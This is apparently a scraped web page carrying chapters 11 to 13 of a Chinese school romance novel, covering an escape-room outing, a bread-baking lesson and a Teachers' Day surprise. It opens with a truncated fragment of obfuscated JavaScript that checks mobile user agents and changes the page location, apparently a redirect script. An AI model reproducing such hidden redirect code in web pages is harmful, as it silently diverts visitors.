l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171943|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先说‘惠城人不骗惠城人’!” 门外传来憋笑的声音:“惠城人不骗惠城人,现在能开门了吗?” 密室外的夕阳像融化的蜂蜜,暖融融地浇在众人身上。 叶萧云夸张地张开双臂,仿佛要拥抱整个太阳:“终于活过来了!老子这辈子再也不玩密室了!” “得了吧,”李欣桐一巴掌拍在他背上,笑得见牙不见眼,“下次出新主题,你肯定凌晨三点就蹲门口抢票。” 叶萧云撇着嘴哼哼。 李清依环顾众人,梨涡里盛满阳光,说:“虽然有点恐怖,但超有意思的。” 林宇舟握紧拳头当成麦克风,抵着下巴说:“我作证!某人在鬼屋嚎得比NPC还敬业——” “闭嘴!”叶萧云一把捂住林宇舟胡说八道的嘴,眼神恶狠狠地瞪他。 陈温伸起懒腰,衣服下摆露出一截腰线,他问:“接下来去哪?” 沈泽许垂眼看向那片雪白的皮肤,说:“附近有个商场,有家新开的奶茶店,我请客?” “好啊,我要喝三杯奶茶!加双倍芋泥!” 叶萧云瞬间满血复活,蹿得比电梯还快。 片刻,六人挤在角落的圆桌旁,像一堆刚打完仗的残兵败将。 叶萧云叼着吸管含糊不清地感叹:活——过——来——了——” 林宇舟突然提议道:“来张合照纪念我们的‘英勇事迹’怎么样?” “用我的!”李欣桐晃了晃镶满水钻的手机壳,“自带柔焦滤镜。” 她特意调出粉嫩嫩的樱花特效,屏幕里的叶萧云顿时变成了腮红过度的卡通脸。 叶萧云:??? “算了,还是用我的吧。”林宇舟说。 陈温见要拍照,下意识往后躲,后背却撞上坚硬的东西。 沈泽许不知何时已站在他身后,像堵沉默的墙。 林宇舟眯起眼睛,一手一个箍住两人的脖子,说:“你们跑密室时不是抱挺紧的吗?现在装不熟?” 陈温恼羞成怒:“谁抱得紧了!” “好好好,没有没有,赶紧来拍照吧。” 快门声响起,画面定格。 拍完照,叶萧云像触电般弹起来:“完了完了!我妈连环call!”他仰头灌完最后一口奶茶,珍珠卡在吸管里发出“咕噜”的悲鸣。 “我先回去了,你们慢慢玩啊。” 再抬头时,人已经消失在街道口。 李欣桐看了眼手表,咳了一声,说:“我正好要换个牙刷,附近有个商场,我去逛逛。姐你们先聊,不用等我,我一个人回去。” 林宇舟也伸了个懒腰,说:“那咱们也撤?”他用肩膀很轻撞了一下李清依,“我记得我们顺路,我送你回去吧。” 李清依没拒绝:“嗯,谢谢。” 陈温刚放下空杯子,沈泽许不知何时贴近他身侧,呼吸拂过他耳廓,问:“陪我去书店,可以吗?” “现在?”陈温抬头时,差点撞到对方下巴。 “嗯。” 两人还没走远,零碎对话飘进陈温耳中: “最近……”林宇舟的声线罕见地发软,“心情好些了吗?” “嗯,多亏你那天帮忙……” 林宇舟说:“学习上的事别太有压力,有问题可以问我,不会的我们一起讨论。” 李清依说:“嗯好,那个……门票钱。我想了又想,还是还给你吧。” “密室票钱不用给我,真的是新店开张免费送的……” 沈泽许拽着他加快脚步,那些话语便消散在空气中。 手腕上的温度骤然抽离,陈温怔怔看着沈泽许收回的手。 “不好意思,记错时间了。”沈泽许低头划亮手机,“家教课提前了。” 陈温的目光落在他歪斜的领扣上,那是他逃跑时无意识拽出的褶皱。 他伸手想整理,却在半空蜷起手指。 “哦……那路上小心。” 沈泽许喉结动了动,最终只“嗯”了一声。转身时,衬衫衣摆扫过陈温的手背,带起一阵薄茉莉的风。 直到劳斯莱斯车尾灯消失在拐角,陈温才发觉掌心的手机的棱角硌得生疼。 屏幕上,最新照片中沈泽许站在他斜后方,惯常紧抿的唇角扬起一个像素点的弧度。 那点笑意刚好落在自己侧脸的倒影里,像蝴蝶停在花瓣边缘。 他长按。 “删除”与“收藏”的按键在指尖下明明灭灭。 最终,照片被藏进名为“学习笔记”的相册里。 11. 你教教我 骑三轮车收废品的老人摇着铜铃,微风穿过走廊,将陈温的校服外套吹得鼓胀起来。 推开门的瞬间,教室里混着各种早餐的香气扑面而来。 陈温刚放下书包,一个印着枫叶图案的保温袋就滑到课桌上。 袋口溢出的热气在桌面凝出水珠,每一颗都映着沈泽许微微上扬的嘴角。 这是自从陈温低血糖晕倒两次后,沈泽许坚持带的第五次早餐。 “今天换了红豆馅的。”沈泽许说。 陈温第四次试图推辞:“其实不用每天……” 沈泽许面不改色:“别客气,家里做多了。” 面包总是格外松软,麦香里藏着若有似无的甜,连早读的困倦都能熨平。 陈温曾无数次追问来源,换来的永远是对方闪躲的眼神,和一句“家里做多的”。 他边吃边写竞赛题,草稿纸密密麻麻的公式间,偶尔冒出几个被涂改的爱心。 那是沈泽许帮他批注时手滑的杰作。 高跟鞋的脆响刺破晨铃。 熊丽裹着迪奥的香水味踏入教室,被她踩出阅兵式的气势:“同学们!拿出英语书,开始早读!” 后排传来压低的哀嚎:“又占用早早读……” “认命吧,”他的同桌用课本挡着脸偷笑,“‘奶奶’的关爱虽迟但到。” 这里所说的“奶奶”并不是真的指熊丽的辈分,而是同学们私下给这位要求严格、作风老派的老师起的绰号。 “报告!” 全班齐刷刷转头——教室前门站着个头发支棱的男生,胸口还在剧烈起伏,显然是一路狂奔过来的。 熊丽的眼镜片寒光一闪:“干什么呢?!”她一巴掌拍在讲台上,说:“早读都过半了才来,你当时装走秀呢?!太不像话了!” 她的目光冷不防越过男生,锁定在后门悄悄溜进来的娇小身影上。 “李老师!赶紧把你们班这个捣蛋鬼领走!” 楚婷正蹑手蹑脚往里走,闻言,差点撞上后门,她声音细如蚊呐:“那个……我姓楚……” 熊丽跟没听见一般,转过身去板书,高跟鞋在地板上跺出咚咚的怒火。 面对如此尴尬的局面,楚婷一时之间不知如何是好。她小心翼翼地走到迟到的那个人身边,轻声对他说了几句话。 男生听完后,像只小猫似的蹑手蹑脚地回到了自己的座位上。 下课铃刚响到第二声,熊丽就挟着教案旋风般冲出门,香水味在走廊拉出一道无形的警戒线。 陈温离开教室,和其他人靠在走廊栏杆上。 “前几天玩完那个密室,”叶萧云说,“我那天晚上都不敢关灯睡觉。” 听他这样说,李欣桐嘲笑他:“你还是不是个男子汉啊?我们女生都没觉得害怕,你倒被吓成这样。” 叶萧云不服气地反驳:“这怎么能一样啊!” 众人的笑声像阳光下的肥皂泡,飘浮在走廊的空气里,陈温嘴角跟着扬起弧度。 沈泽许正逆着光走来,修长的手指搭上他的肩,说:“陪我去借本书。” 图书馆寂静如纱。阳光穿过百叶窗,在木质书架上切割出金色的条纹。 沈泽许穿梭在书架间的身影时隐时现。 陈温随手抽出一本《欧式烘焙艺术》,翻开的瞬间怔住了。 铜版纸上印着的红豆面包,跟今早他吃的那个一模一样。 “沈泽许。”他冷不丁问:“早上的那些面包……是你做的,对吧?” 沈泽许停住翻书的动作:“你猜?” “不猜。”陈温把书放回木架上,继续说:“如果是买的,为什么包装袋总有面粉味?” 沈泽许抽出一本书递来,书封上《专业烘焙技法》几个烫金字闪闪发亮。 “这本书挺有意思的,你可以看看。” 陈温接过书看了看封面,沉默着不知道在想什么。片刻,他开口道:“沈泽许,其实我一直想学做面包,你能教教我吗?” 沈泽许挑眉的样子像在解一道难题:“你想学?” 陈温毫不犹豫地点头:“嗯。” 廖淑琴总爱在清晨五点起床,老旧抽油烟机的轰鸣是陈温的闹钟。 西红柿在锅里煸出红油,鸡蛋滑入时“滋啦”的声响,是童年最安心的白噪音。 可他永远赖床到最后一刻,等洗漱完时,面条已经吸饱汤汁变得绵软。母亲会隔着餐桌用筷子尾轻敲他额头说:“小懒虫。” 后来厨房再也没有飘过油烟香。 他试过自己做:第一次盐放多了,第二次蛋炒糊了,第三次……他对着焦黑的锅发了半小时的呆。 直到沈泽许把保温袋塞进他怀里,第一口红豆馅面包在舌尖化开时,他尝到某种久违的、类似家的温度。 沈泽许喉结滚动了一下:“好。” 他们抱着书走出图书馆时,树叶正巧落在陈温肩头。沈泽许很自然地伸手拂去,陈温忽然发觉,那些被题目填满的日子,不知何时掺进了些光。 开学考成绩公布后,高二(2)班的窗台成了全校最热闹的“观景台”。 谁都打听到二班又来了一个帅哥,那人成绩好,长得很纯。 每到课间,总有女生三三两两挽着手臂路过,尽管这条走廊尽头只有墙壁。 她们假装整理刘海,或是突然对窗外根本不存在的风景产生兴趣,眼神总是不自觉地往教室里飘。 “啧啧,这都第几批了?”叶萧云托着下巴靠在窗边,“要不咱们弄个售票处?五块钱看一次。唉,你看,外面那个学妹是不是在偷瞄我!” 李欣桐转笔的手突然一滑,笔杆精准砸在叶萧云手背上。 “孩子醒醒,人家看的是沈泽许和陈温这对‘学霸组’,谁要看你这个‘聒噪孔雀精’?” “我好歹也是班草候选人!”叶萧云夸张地捂住胸口,指着窗外说:“快看!又来一个。” 陈温闻言抬起头,正巧撞上窗外一个女生的视线——对方像是被烫到般猛地别过脸,拉着同伴快步离开,马尾辫在脑后慌乱地甩动。 “温哥。”林宇舟用课本挡住脸憋笑,“你知不知道,你现在像动物园的珍稀动物?” 陈温在草稿纸上写写停停,边说:“她们应该只是路过。” “路过?”李欣桐掰着手指数,“周一七次,周二九次,今天才第三节课就已经——” “哎,等等。李清依人呢?”叶萧云突然打断李欣桐的话,问道。 “哦,她早上请假了。” “这样吗?” “等一下。”林宇舟一个滑步凑近,手机差点怼到陈温鼻尖上,“你和老沈上表白墙了,你知不知道?” 陈温茫然地眨巴了下眼,说:“学校还有这种东西?” “全校就你俩2G冲浪!”叶萧云已经笑得像只偷到油的狐狸,手指在屏幕上疯狂滑动,“看!奶茶店神图!现在点赞都破千了!热度还在持续增长。” 陈温接过手机时还在疑惑。 屏幕里跳出一个国字脸的男人,银框眼镜闪着寒光,配文:【今天抓到早恋的又是这位阎王】点赞也是过千。 这个就是AK主任吗? “哎呀,我划错了!”叶萧云急得直接上手。 下一张照片像青春电影海报般铺满屏幕: 沈泽许低头看菜单的侧脸被暖光镀了层金边,陈温偏头看着他,嘴角的笑意淡得像是错觉。 配文炸满粉色爱心: #偶遇学霸组买奶茶# #求联系方式孩子馋哭了# 评论区清一色的“加1”。 陈温的耳根顿时烧了起来:“这角度……我们当时明明隔了半米远啊!” “你懂什么!”叶萧云夺回手机如数家珍,“这张构图绝了好吗?这种死亡角度都能拍出偶像剧氛围——” 沈泽许不知何时出现在他背后,直接抽走了手机,说:“我看看。” 他垂眸审视照片的样子像在批改试卷,半晌轻笑一声:“物理竞赛 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陈温抄起英语书作势要打:“你敢!” “我错了,我错了!”叶萧云蹿到讲台后举起拖把防御,“温哥饶命!我保证不拍!” “让我发现你偷拍,你就……” 陈温威胁似地给了叶萧云一个抹脖的动作。 教室前门毫无征兆地被推开,楚婷抱着教案站在逆光里,眼睛眯成两条缝。 “大家都在操场晒太阳,好不容易没有老师来占体育课,你们几个就在这儿演武侠片?” 她的目光扫过满地狼藉—— 翻倒的椅子…… 讲台上可疑的鞋印…… 叶萧云手里的拖把…… “那个……”李欣桐举起一本物理书,封面赫然倒贴着,她说:“我们在……在研究摩擦力!” 楚婷瞟了一眼讲台上的那人:“哦?那叶同学拿拖把是在……?” “模拟……”林宇舟猛地掐了下叶萧云大腿,“我们在做模拟杠杆原理实验!” “嗷!对!”叶萧云疼得五官乱飞,却硬挤出一个龇牙咧嘴的笑,“您看这个力矩……” 楚婷打断他的解释,说:“哎呦,平时不是说最喜欢的人是我吗?为什么不做化学实验?” “哈哈,婷姐别开玩笑了,做不好的话,整个教室都得炸。”林宇舟干笑两声。 “得了,你们平时什么样我还不清楚吗?”楚婷迅速伸出手,从叶萧云校服口袋里勾出半截手机数据线,“说,你们手机呢?” 李欣桐不知何时跑到后门,对着里面喊道:“我不知道啊。拜拜,我先走了。” 见状,林宇舟一把勾住沈泽许的脖子往门外拖:“哎呀,老沈呀!三对三缺个控场的!你来正合适。” “陈温!”叶萧云也准备逃跑,在走廊倒退着奔跑,“来不来?不来是小狗!” 陈温的手悬在草稿纸上,未写完的公式被窗外的风掀动。 他想擦掉,伸进笔袋的手被另一只手握住。 “别写了。”沈泽许又返了回来,扣住陈温的笔袋,“阳光会蒸发坏情绪,走吗?” 篮球场的方向传来叶萧云破音的呐喊:“老沈你们快点啊——” 微风拂过,带着初秋特有的清爽。 陈温想,或许这就是青春该有的样子——永远有人等着和你一起奔向阳光。 他把草稿纸揉成团,精准砸进垃圾桶,对着沈泽许说:“走吧。” 吵闹的几人慢吞吞地离开。 楚婷无奈地摇摇头,嘴角微微上扬,将数据线放回叶萧云的课桌上,又用课本盖在上面。 对还没有走的几个学生说: “现在,立刻,马上,都给我去操场,不然晚自习多张试卷。” 走廊上传来此起彼伏的脚步声,远处还有篮球撞击地面的声响。 少年们笑闹的声音惊起一群白鸽,扑棱棱掠过九月湛蓝的天。 12. 大功告成 “叮叮叮——” 陈温蜷着身子,关掉闹钟,又赖了五分钟才慢吞吞地爬起来。睡衣领口歪斜着,露出一截突出的锁骨。 他趿拉着一双旧拖鞋,推开卧室门,草草刷完牙。 冰箱门被拽开的瞬间。 “吱……嘎……” 像垂暮老人的关节在呻吟。 陈温眯着眼打量。冰箱里很空,有一袋高筋面粉、几颗鸡蛋和一小盒牛奶。 他皱眉,心想:这些勉强能做面团,但还缺黄油和酵母,果然还是得去超市一趟。 男生离开厨房,门锁“咔嗒”扣上,隔壁也传来钥匙转动的轻响。 陆晚枝拎着米色布袋走出来,见到陈温,女生捋了下耳边的碎发,说:“早。” 陈温的困意突然消散,不自觉地挺直了背:“早安!”睡衣肩线也终于回归原位。 他被陆晚枝提着的袋子吸引住,随口问道:“去买菜啊?” “嗯。”陆晚枝点头,“江夏昨晚念叨着想喝莲藕汤,我去菜市场看看有没有。” 陈温按了一下电梯按钮,盯着向上跳动的楼层数字,忍不住回头看了眼陆晚枝一人,问了一句:“江夏姐呢?她怎么没跟你一起?” “她啊,还在睡懒觉呢。”陆晚枝眼底泛起温柔的笑意,“某人熬夜画设计稿,今早起不来。” “哈哈,这样啊。” 电梯到了,门缓缓打开。 陆晚枝按下一楼按钮,撇过头问陈温:“你呢?小弟这么早出门,是有什么事吗?” “小弟”这个称呼是江夏想出来的,说这样叫陈温,带着几分亲昵,像是姐姐对弟弟特有的调侃,陈温也不反感。 他低头看了眼手机。 屏幕上还停留在和沈泽许的聊天界面,最后的消息是一句“晚安”。 “哦,今天我约了同学在家做面包。”陈温移开了眼,挠起头来,说:“结果发现家里缺材料,就下楼去超市买点。” “做面包?”陆晚枝似乎有些意外。 陈温笑得有些腼腆,说:“就想试试看。” 陆晚枝问:“那个同学是上次在你家吃烧烤的那位?” “……嗯。” “叫沈泽许,对吧?” 陈温点点头。知道这个“同学”是谁后,陆晚枝便没再问关于他的话题。 女生余光扫过陈温的装扮——旧睡衣配拖鞋。 “你就打算……这样去超市?” 陈温倒是无所谓地耸肩:“反正超市也不远,那些阿姨都认识我。” 电梯“叮”的一声抵达。 陆晚枝走出轿厢时,有些无奈地摇头,发丝间飘来若有若无的花香。她朝陈温挥挥手:“那我先去买菜了,拜。” “再见。” 陈温转身时,踢到一颗小石子,小石子骨碌碌滚进路边的排水沟里,就像他此刻雀跃的心情一样。 超市的自动门“唰”地分开,冷气混着烘焙区的甜香扑面而来。 男生推着购物车,仔细挑选着需要的食材。 他拿起一包酵母粉,又挑了一块黄油,心里默默盘算着步骤。 买完需要的东西后,陈温拎着袋子走出超市,脚步轻快地往家里去。 他想快点回家,想看看沈泽许是不是已经等在门口,想告诉他自己连做梦都在练习揉面团的技巧。 “叮咚——” 门铃响起,陈温正因等得无聊,蜷在沙发角落里玩游戏。他捧着手机,滑动着屏幕,嘴里念叨:“等一下!来了!来了!” 他趿拉着拖鞋往门口走,眼睛还黏在手机屏幕上。 门被打开。沈泽许手里提着塑料袋,袋中橙子泛着暖融融的橘色。 陈温盯着那袋水果,还保持着打游戏的姿势。 “你……这是?” “附近水果店新到的脐橙。”沈泽许很自然地关门,侧身进屋,“看起来挺好吃的,我就买了几个。” 陈温“哦”了一声,人已经窝回沙发。 欢快的游戏音效再次响起:“Amazing!Great!Unbelievable!” 沈泽许挨着他坐下,沙发凹陷的弧度让陈温不自觉地往那边滑了滑。 他好奇地凑近,鼻尖几乎碰到陈温乱翘的发梢:“玩什么呢?” 陈温头也没抬,随口回道:“消消乐啊,无聊玩玩的。” “消消乐?”沈泽许问,“讲什么的?” 陈温终于通关了。他长舒一口气,把手机屏幕转向沈泽许,语气里带着一丝得意:“喏,4632关,没见过吧!剧情的话,好像是救什么人?具体是谁我忘了。” 屏幕上的关卡地图蜿蜒得像条贪吃蛇,很长。沈泽许挑眉:“你管这叫‘无聊玩玩’。” “男孩子的事少问。” 沈泽许鼻音忽然重了几分:“好吧,那好玩么?” 陈温没看他,应道:“还好吧,打发时间倒不错。” “嗯。” “那个……”陈温的话突然断在舌尖。 沈泽许探身去拿茶几上的苹果,腕骨不经意蹭过他膝盖。那一小块皮肤像被烫到般绷紧,而清脆的“咔嚓”声在客厅炸响。 陈温也跟着拿了块苹果,果汁在齿间迸开。他鼓着腮帮子指向厨房,道:“材料都准备好了。” 咽下果肉的同时,沈泽许已经站起身,袖口卷到手肘:“那现在开始?” 他起身时,顺手扶正靠垫,那上面还留着陈温瘫坐时的凹陷。 “不然呢?”陈温正舒服地伸着懒腰,动作猛地僵住,因为沈泽许正似笑非笑地摩擦他腰间的软肉,像是控制不住,又像是故意“调戏”他。 “你在干什么!”陈温像只炸毛的猫般弹开。 沈泽许:“。” “有脏东西……”他悻悻收回手。 陈温后知后觉地臊起来。看了眼沈泽许不久前碰到过的位置,那里确实有一团黑黑的,不知道是什么东西,那一团就在他肚脐眼边的一颗痣附近。 “好像是有点。”他尴尬地擦了擦那个位置。 沈泽许不在意的样子,问:“现在还开始做吗?” “来啊,为什么不来?” “好。” 面粉袋喷出一团白雾。 陈温按照沈泽许教的把酵母溶进温水,他盯着玻璃杯里冒泡的混合物,心不在焉。 “手腕要这样……”沈泽许见陈温没了动静,以为是没说清楚,从背后靠近,掌心覆上他的手背。陈温能清晰感觉到对方脉搏的跳动,像隔着皮肤传递的摩斯密码。 冷光将两人的影子揉成一团,投在厨房瓷砖上。面团在案板上发出黏腻的响声,陈温的耳尖越来越红,越来越红。 “可以了。”沈泽许退开半步,“你自己来试试。” 陈温抿唇,硬着头皮自己试了一下。 而后他获得了一个沾满面团的手。 他有些失落地说:“我不太行……” 沈泽许拿起擀面杖,轻轻点了下他的手腕内侧:“你可以。”他声音很低,像在念一道确信无疑的数学公式,“我相信你。” 客厅里,手机屏幕无声地暗了下去。 “开心消消乐”的界面上,4633关的小动物们眼巴巴地望着厨房方向。 陈温将手陷进发酵好的面团,像触碰一朵温热的云。 他学着沈泽许的手法,将面团分成均匀的小块——每个动作都轻得像在拆炸弹,生怕惊扰面团里沉睡的呼吸孔。 沈泽许靠在料理台边,目光描摹着陈温低垂的睫毛,不知道在想什么。 “这样应该可以了吧?”陈温抬起头,嘴角抿出一个小小的得意弧度,一脸求夸的样子。 沈泽许笑着说:“就是这样,很棒。” 烤盘上圆滚滚的面团排成整齐队列,像一群穿着白棉袄的雪孩子。 陈温凑近了嗅,说:“好香,你闻到了吗?” “嗯。”沈泽许的喉结动了动,“说真的,你比80%的新手好多了。” 陈温耳尖一热,下意识挺直腰板,拇指得意地蹭过鼻尖:“那可不——也不看看你陈大厨是谁。” 烤箱亮起橘色灯光。透过玻璃门,面团正以肉眼可见的速度膨胀,如同被施了魔法的童话生物。 “大功告成!”陈温双手叉腰的瞬间,围裙上瞬间浮现两个完整的手印轮廓。 他低头注意到自己沾满面粉的衣襟,眼珠子咕溜溜转了一圈,一脸坏笑起来。 沈泽许正低头给手机定个闹钟,陈温屏住呼吸靠近,食指沾着面粉朝他脸颊划去。 得手了! 三道雪白的“猫须”在沈泽许右脸颊绽开,陈温笑得前仰后合。 “哈哈,小花猫!” 他完全没注意到对方眼底闪过的危险暗芒。 沈泽许慢条斯理地摘下围裙,把手机放在一旁,缓缓说道:“敢偷袭我?” 陈温感到危险,踉跄后退,腰窝撞上料理台边缘,刺痛的触感透过薄衬衫进来。 沈泽许的指 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当指腹不经意擦过耳廓那颗褐色小痣时,两人同时屏住了呼吸,像是触碰某个隐秘的开关。 陈温左眼下的那颗泪痣,在厨房顶灯下泛着微光,眼睛不知道该往哪瞟。 沈泽许开口打破沉默:“下次还敢吗?” 陈温逞强的尾音发着颤,道:“还敢。” 沈泽许嘴角噙着笑:“行了,再闹下去,中午就得吃面粉拌饭了。” 他松了手,注视着面团膨胀的弧度,声音轻得像在自言自语:“怎么突然想学做面包?” 不锈钢刮刀在陈温手里顿了顿,在台面划出月牙状的白痕。 男生低头整理模具,额发垂下来遮住眼睛。 “我妈自己做的蜂蜜面包很好吃……”他声音卡在某个音节,“外面买不到那个味道。” “她总说……”陈温冷笑了一下,“等我考上大学就教我,可是她……” 沈泽许的手抬起又放下,最终只是将料理台上的手机推过去:“快好了。” 烤箱“叮”的一响。陈温戴上小熊图案的隔热手套,小心翼翼地取出烤盘。 金黄色的面包表皮裂开细纹,像冬日里微笑的嘴唇,麦香瞬间填满厨房每个角落。 “哇塞,好好看!”陈温举起手机,“我拍照,发朋友圈!” 他连拍三张,镜头边缘不小心框进了沈泽许的手腕。 那人说:“嗯,卖相确实好。” “尝尝看!”陈温拍完照,放下手机,拿起一块给沈泽许:“这是我在沈老师的指导下做的面包,求评价!” 陈温递过去时太过急切,拇指蹭过沈泽许虎口的薄茧,又冷不丁缩回。 他双手托腮问:“怎么样?五星,打几星?” 沈泽许咬下的刹那,陈温的呼吸都无意识停滞。 他的视线黏在对方滚动的喉结上,直到那口面包被咽下,才发觉自己的喉咙也跟着动了动。 “四星。” 陈温不满地喊道:“才四星?沈老师也太严格了吧?是不是有黑幕?” 沈泽许的手在餐巾上擦了擦,说:“留一星给进步空间。” 陈温生气地嘟起嘴来:“真是的,我辛辛苦苦做的面包,你还不给满分!” “满分容易让人懈怠,四星刚刚好,既能鼓励你,又能让你保持进步的动力。” “哦——”陈温拖长音调,他用面包蘸了蘸盘子里的蜂蜜,“那沈老师下次还来指导吗?” 沈泽许端起马克杯抿了一口,杯沿正好遮住他上扬的嘴角:“看某人表现。” 茶几上的手机屏幕幽幽亮着,显示着陈温刚发的朋友圈: 【第一次成功!感谢沈老师指导OvO】 配图是金黄酥脆的面包特写,以及一张沈泽许低头揉面时被抓拍到的侧脸——那人嘴角罕见地扬起,鼻尖还沾着一点面粉。 --- 评论区小剧场: 「李欣桐:这是我能免费看的吗???」 「陈温回复李欣桐:什么意思?」 「叶萧云:学霸居然会笑?!第一次见![震惊][震惊][震惊]」 「沈泽许回复叶萧云:你听听你说的是人话吗?」 「李清依:看起来好好吃![流口水.jpg]」 「林宇舟回复李清依:+1,温哥什么时候开面包店?」 「陈温回复林宇舟:下次一定。」 13. 惊喜 陈温气喘吁吁地冲了进来,手里拎着一个鼓鼓囊囊的塑料袋,脸颊因为跑得太急而微微泛红。 “买、买到了!”他喘着气说,把袋子往桌上一放,“按你们说的,10个礼炮,一个不少。” 作为班上为数不多的外宿生,他肩负着采购的重任。这些礼炮的钱,是大家东拼西凑出来的——你一块,我五毛,虽然不多,但每一分都是心意。 “辛苦了!”林宇舟一把揽过他的肩膀。 整件事的伏笔,早在五天前就已埋下。 广播里传来一阵沙哑的嗓音,像是被烟熏了十几年似的:“呼喂喂……各位同学注意,后天就是教师节了……” 那声音庄重得活像在念悼词,电流杂音间还夹杂着几声咳嗽。 林宇舟正转着笔发呆,闻声,笔尖一顿,道:“这AK念叨啥呢?” 陈温的钢笔尖在纸上划出工整的轨迹。 自从上周楚婷夸他字迹有进步,这小子连课间都在临摹字帖。 “说是要给老师们准备教师节惊喜。”沈泽许回答林宇舟。 叶萧云合上课本,说:“现在才说?德育处那帮人是不是……” 后半句在纪律委员威严的目光中咽了回去。 李欣桐歪头看向广播喇叭,说:“让全班准备惊喜还敢广播?这是生怕老师他们不知道?” 大多数同学都是楚婷从高一带上来的,感情多多少少有点,虽然平时没少被她训,但大家心里还是挺喜欢她的。 “那我们准备什么好呢?”李清依问。 叶萧云说:“总不能让我一个班长扛吧?” “那肯定不是啊,大家一起准备吧。”林宇舟疑惑,“不过,去年可没有这个规定啊。” “今年还要交班主任画像。”沈泽许解释:“德育处前几天决定的,说是要加强师生互动。” 其他同学听了,顿时响起一片拖长音调的“哦——”,尾音此起彼伏像浪打浪。 “接下来怎么办?总不能随便买束花应付吧?”有人问。 李清依提出主意:“不如分组?有人画画、有人写贺卡什么的。” “可以!就这么办!”叶萧云一个箭步蹿上讲台,“我给大家分个组怎么样?” 林宇舟撑着下巴笑:“终于有点班长样了。” 话音未落,半截粉笔精准命中他额头。 “喂,你这话什么意思?” “当然是字面意思啊。” “清姐画画像吧!”后排的人喊道:“上次你画的Q版婷姐她超喜欢的。” 李清依刚要点头答应,林宇舟却突然捶桌:“这样不够刺激!得让婷姐感到惊喜!” 他比划着计划:“班长跟六哥假装干架。等婷姐来拉,怎么样?” “妙啊!”叶萧云拍案而起,“还可以买礼炮!彩带!我抽屉还有……” 有人开玩笑道:“你们可别演得太逼真,把婷姐吓坏了。” 林宇舟拍了拍胸脯:“我们办事你们放心!” “就这么定了!"叶萧云拍手,“大家分工合作,一定要让婷姐过一个难忘的教师节!” “好!” 窗玻璃上不知何时贴上一张放大的脸,楚婷出现在窗外,像一只无声无息的猫,耳朵竖起,眼睛眯成危险的细缝。 “聊得挺欢?”她的声音轻飘飘地从窗缝里渗进来,带着一丝凉飕飕的笑意。 教室里瞬间凝固。 叶萧云瞬间石化,抬起的左脚悬在空中,活像座滑稽的街头雕塑。 李欣桐死死咬住下唇,憋笑憋得整个人都在发抖;李清依把脸深深埋进臂弯,只有发红的耳尖暴露在阳光下。 陈温见他们聊得专注,便在一旁听他们安排,没讲话。看到这一幕,他抿了抿嘴角,目光在几人之间转了一圈,最终默默为叶萧云点了根不存在的香。 沈泽许低头翻看课本,嘴里无声地念着古诗,仿佛这样就能让自己美美隐身…… 楚婷推门而入,她嘴角噙着笑,可眼神却像在巡视犯罪现场。 “叶萧云,”她慢悠悠地开口,“再让我看见你满教室乱窜,就抄一遍整本化学方程式。” 叶萧云:“……” 完了,是“化学方程式警告”——婷姐的终极杀招。 叶萧云蔫头耷脑地挪回座位,椅子腿在地面拖出绵长的“吱——”声,活像在替他哀嚎。 这女人绝对练过轻功!走路连个脚步声都没有,神出鬼没的! 楚婷环视一圈,满意地点点头:“嗯,这才像话。自习课就该是自习课的样子,别搞得跟菜市场似的。” 说完,她转身离开,临出门前还回头补了一句:“你们要是还想继续,我不介意多收几份作业。” “……” 教室里的空气仿佛被晒干了沉默,直到楚婷的脚步声彻底消失在走廊尽头,众人才如蒙大赦,集体长舒一口气。 李欣桐终于憋不住,趴在桌上闷笑出声:“差点计划就要暴露了!” 陈温便被划进了采购组。 天刚蒙蒙亮,他就蹲在快递站门口,等卷帘门升起。 里面堆着五六个长条纸箱,其中一个包装上印着夸张的“豪华礼炮”字样。 “话说,你真不参加晚自习啊?考虑好了没?”林宇舟问陈温。 “这个……”男生挠了挠头,语气犹豫:“我再想想……” 李清依笑嘻嘻走到两人身前,“唰”地展开画纸:“看!我画的婷姐!” 纸上是一个Q版的楚婷,圆圆的脸蛋,齐刘海乖巧地贴在额头上,怀里抱着一束花,嘴角微微上扬,温柔又可爱。 “哇!这也太像了吧!”林宇舟凑过去,眼睛一亮,“婷姐肯定喜欢!” 李清依得意地指了指画:“她右嘴角比左嘴角高0.3厘米。”她压低声音,神秘兮兮地说:“前几天我假装问问题,盯着她看了整整十分钟呢。” 叶萧云也凑了过来,仔细端详了一会儿,由衷地赞叹:“确实厉害,比我画的好多了。” 说着,他掏出自己的涂鸦本,翻到某一页。 上面歪歪扭扭的火柴人举着个牌子,写着“我是楚婷”。 “我上次画婷姐,她说这像王老师都是给我面子……” 众人顿时笑作一团。 正说着,教室门被推开,沈泽许走了进来。 他手里小心翼翼地提着一个蛋糕盒,姿势严谨得像在捧着一件精密仪器,连丝带结都保持着完美的45度角。 “哟,老沈来了!”叶萧云眼睛一亮,目光直勾勾地盯着蛋糕盒。 “嗯,”沈泽许说,“蛋糕放哪?” 阳光透过盒子的透明部分,隐约能看到里面淡蓝色的奶油裱花。 那是楚婷最喜欢的颜色。 叶萧云环顾教室,目光最终落在李欣桐靠窗的座位上。那里被窗帘半掩着,窗台上还摆着一盆多肉作掩护,是绝佳的好位置。 “那个……”叶萧云挠了挠头,战术性往后退了半步,语气试探:“放你座位行吗?”说完,他下意识还做了个防御姿势。 上次他把手机藏在这儿,被AK主任发现,连累李欣桐挨了顿骂,她的桌面上至今还贴着便签:【叶萧云与狗不得靠近】。 “就暂存一下?”叶萧云的声音越说越小,最后一个字几乎吞进了肚子里,眼神飘向教室后门,随时准备逃跑的架势。 李欣桐只是淡淡地看了他一眼,点头答应:“行吧,给我。” 沈泽许微微皱眉:“蛋糕有点重,我提着就行。” “没事。”李欣桐摆摆手,接过蛋糕盒,发现蛋糕盒确实沉甸甸的。不过她力气也不小,稳稳地把蛋糕放在座位旁边,还特意用书包挡了挡。 “那礼炮藏哪儿?”陈温还抱着一堆彩带喷罐,左右张望地问。 “我看看。”林宇舟扫视教室,目光最终锁定在角落的书柜上,“藏那儿吧!应该没人会注意。” 教室的铁书柜后面塞满了常年不用的旧教材跟报纸,积了厚厚一层灰。 几个人立刻行动起来,叶萧云站在门口把风,目光警惕地扫视走廊。 陈温猫着腰,轻手轻脚地把一支支礼炮塞进书柜后,还不忘用旧报纸盖住,确保万无一失。 “铃——”早读铃声响起,所有人弹回座位上。 今天没有早早读,是一整节语文课。 